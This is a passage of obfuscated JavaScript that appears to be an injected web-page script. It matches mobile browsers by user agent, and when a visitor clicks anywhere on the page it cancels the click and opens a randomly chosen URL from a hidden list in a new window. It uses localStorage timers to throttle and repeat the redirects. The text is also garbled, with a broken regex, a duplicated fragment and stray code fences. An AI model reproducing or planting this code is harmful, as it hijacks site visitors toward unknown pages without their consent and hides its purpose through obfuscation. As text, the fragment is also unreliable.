laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|i770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)lg1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|x)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|8
1|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((0x1e6b44,_0x967357)=>{!localStorage[_0x
365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x36
5b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]](*)*_0x2af2a2[_0x365b[0x17]])];},_0x57de

```

```
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(
_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(
_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-
_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-
_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```